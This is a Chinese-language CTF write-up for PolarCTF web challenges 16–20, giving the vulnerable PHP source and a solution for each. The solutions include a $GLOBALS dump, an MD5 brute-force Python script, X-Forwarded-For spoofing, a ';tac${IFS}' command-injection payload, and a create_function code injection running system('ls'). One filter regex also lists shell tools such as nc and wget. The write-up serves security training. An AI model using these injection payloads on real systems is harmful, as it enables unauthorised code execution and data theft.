polarctf-web(16-20)

$$

考察点

将参数值作为变量名,php全局变量GLOBALS等

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0);
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}

else{
eval("var_dump($$a);");}}

用vardump打印出$a的值为名称的变量,用php的全局变量 $GLOBALS ,payload: ?c=GLOBALS

1
array(7) { ["_GET"]=> array(1) { ["c"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["a"]=> string(7) "GLOBALS" ["fl4g"]=> string(38) "flag{9f8a2133f0cad361ff6d22a445c2531a}" ["GLOBALS"]=> array(7) { ["_GET"]=> array(1) { ["c"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["a"]=> string(7) "GLOBALS" ["fl4g"]=> string(38) "flag{9f8a2133f0cad361ff6d22a445c2531a}" ["GLOBALS"]=> *RECURSION* } }

得到flag

爆破

考察点

python脚本编写

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);

if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

找到满足条件的md5即可,python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import itertools
import string
from hashlib import md5


def check_md5(h):
"""检查MD5哈希是否满足条件"""
return (
len(h) == 32 and
h[31] == '3' and # 第31位必须是'3'
h[1] in '123456789' and # 第1位必须是1-9的数字
h[1] == h[14] and # 第1、14、17位必须相同
h[14] == h[17]
)


def generate_passwords(charset, min_len, max_len):
"""密码生成器,按长度递增生成所有组合"""
for length in range(min_len, max_len + 1):
for combo in itertools.product(charset, repeat=length):
yield ''.join(combo)


def find_valid_password():
"""按字符集优先级搜索有效密码"""
# 定义搜索策略:格式为(字符集, 最小长度, 最大长度)
search_strategy = [
(string.digits, 1, 8), # 纯数字
(string.ascii_lowercase + string.digits, 1, 6), # 小写+数字
(string.ascii_letters + string.digits, 1, 5), # 大小写+数字
(string.printable.strip(), 1, 4) # 可打印字符(排除空白符)
]

for charset, min_len, max_len in search_strategy:
print(f"尝试字符集: {charset[:10]}... 长度 {min_len}{max_len}")
for password in generate_passwords(charset, min_len, max_len):
hash_value = md5(password.encode()).hexdigest()
if check_md5(hash_value):
print(f"找到有效密码! 密码: {password}")
print(f"对应MD5值: {hash_value}")
print(f"验证: 位置1={hash_value[1]}, 14={hash_value[14]}, 17={hash_value[17]}, 31={hash_value[31]}")
return password
return None


if __name__ == "__main__":
print("开始爆破...")
result = find_valid_password()
if result:
print(f"爆破成功!有效密码为: {result}")
print("在PHP中使用: ?pass=" + result)
else:
print("未找到有效密码 :( 请尝试扩大搜索范围")

得到密码422

XFF

考察点

x-forwarded-for用来表示请求的真实地址(指被代理后的)

解题

修改x-forwarded-for为1.1.1.1即可

rce1

考察点

php rce

解题

简单的命令执行

payload:;tac${IFS}fllllaaag.php

某函数的复仇

考察点

php 匿名函数及结构

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
echo 123;
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
echo 456;
echo $shaw('',";}system('ls');//");
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>

这里可以构造一个函数名和他的第二个参数,由于第一个参数是空的,于是想到了create_function

语法为:create_function('$args', '函数体');

PHP 会把它编译成:

1
2
3
function lambda($args) {
函数体
}

create_function 的实现方式 并不是“编译一个干净的函数”,而是直接把两个参数拼接到一段 PHP 源码字符串里,然后用 eval 执行这段字符串,从而“动态创建”一个函数。

如:

1
2
3
4
5
6
$code = '
function ' . $lambda_name . '(' . $args . ') {
' . $body . '
}
';
eval($code);

构造:

1
2
3
4
5
6
7
8
9
function lambda() {
;}system('ls');//
}



function lambda() {
;}
system('ls'); //

成功执行命令